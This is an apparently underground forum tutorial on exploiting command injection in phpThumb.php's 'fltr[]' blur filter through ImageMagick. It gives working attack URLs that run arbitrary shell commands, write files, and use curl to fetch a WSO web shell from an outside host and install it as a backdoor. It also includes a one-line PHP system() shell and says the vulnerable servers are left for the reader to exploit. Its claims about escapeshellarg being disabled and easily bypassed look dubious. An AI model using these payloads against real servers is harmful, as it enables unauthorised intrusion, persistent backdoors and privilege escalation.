[VipVince]

This vulnerability lies in my experience mostly in versions 1.7.9 of the phpThumb.php file.

For it to work, ImageMagick has to be in use, this is what displays the images as thumbs. This vulnerability is made possible via the 'fltr[]' parameter. Here is a snippet of the code that makes this hack possible:

PHP Code:

case 'blur': if ($this->ImageMagickSwitchAvailable('blur')) { @list($radius) = explode('|', $parameter); $radius = ($radius ? $radius : 1); $commandline .= ' -blur '.$radius; unset($this->fltr[$filterkey]); } break;

In a live example in a website URL, it is used like this:

PHP Code:

http://www.server.com/components/blah/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur

As you may have noticed from the code, arguments and input are exploded with the pipe character "|", including our malicious code which after all makes the hack possible. Failure to sanitize it via any functions is what enables an attackers code to be interpreted as command line arguments by the server.

In versions 1.7.10 and in version 1.7.11, the developer attempted to make the code more secure:

PHP Code:

case 'blur': if ($this->ImageMagickSwitchAvailable('blur')) { @list($radius) = explode('|', $parameter); $radius = (!empty($radius) ? min(max(intval($radius), 0), 25) : 1); $commandline .= ' -blur '.escapeshellarg($radius); $successfullyProcessedFilters[] = $filterkey; } break;

Here he has introduced the escapeshellarg() function, this function escapes user arguments being passed to the shell functions. These shell functions include exec(), system() and the backtick operator. It also adds quotes around passed strings, and escapes any already present single quotes, this enables a user to pass a string directly to a shell function and have it be interpreted as a single safe argument. This function is insecure however, and can be bypassed easily by someone with basic unix knowledge, it even comes disabled in the php.ini file.

To test if a site is indeed vulnerable, and attempt to view the file systems path and configuration settings, we try this:

PHP Code:

http://www.server.com/components/blah/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; print *; &phpThumbDebug=9

If successful we will see something like this:



Depending on the servers firewall settings, certain unix commands will be blocked, the print * was our own unique command passed.

Next we will try and write to file:

PHP Code:

http://www.server.com/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; echo "Hello" > hi.txt ; &phpThumbDebug=9

What we did was some basic linux command line, appending the string "hello" via the > operator to a file called hi.txt, made possible via the echo function. Lets test if it worked:



It did, however its trivial and not too much use to us. From here you can write a small upload script and append the code to a php file. This being of course if the servers firewall does not block certain keywords, and functions belonging to it. However why write a <?php echo system($_GET['cmd']); ?> shell if we can just download and navigate to one? PHP provides several functions to allow us to do so, including cURL, wget, and a lesser known option called lynx. Again depending on the servers configuration and firewall settings, certain ones may be filtered and not possible to use. It is up to you to determine this through trial and error.

In our case, wget was disabled but we were able to perform our desired operation via curl. This enabled us to download a hosted shell in .txt format and rename it to derp.php which when navigated to gave us backdoor access and escalated privileges on the server. Our query went like this:

PHP Code:

http://www.server.com/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; curl -o derp.php http://files.xakep.biz/shells/PHP/wso.txt ; &phpThumbDebug=9

This may or may not apply in other cases, as I said, each server is different in their security configurations, therefore because it worked here does not mean it will not require some tweeking and different functions to perform your desired operations via this method.

Navigating to derp.php we are presented with our shell. Files will follow the /phpthumb/ directory.



What you do next is up to you. Some of you may know this method already, although from a recent challenge it seemed to garner new interest, this is what motivated me to make this tutorial. VV. Greets to Zerofreak, HaxOr❤, and BeggFoMercy who contributed in their own way towards this.